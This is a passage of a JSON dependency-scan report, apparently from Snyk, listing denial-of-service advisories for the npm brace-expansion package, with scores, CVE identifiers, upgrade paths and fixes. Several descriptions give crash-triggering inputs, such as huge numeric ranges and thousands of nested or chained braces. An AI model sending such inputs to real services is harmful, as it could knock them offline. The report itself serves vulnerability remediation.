Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, 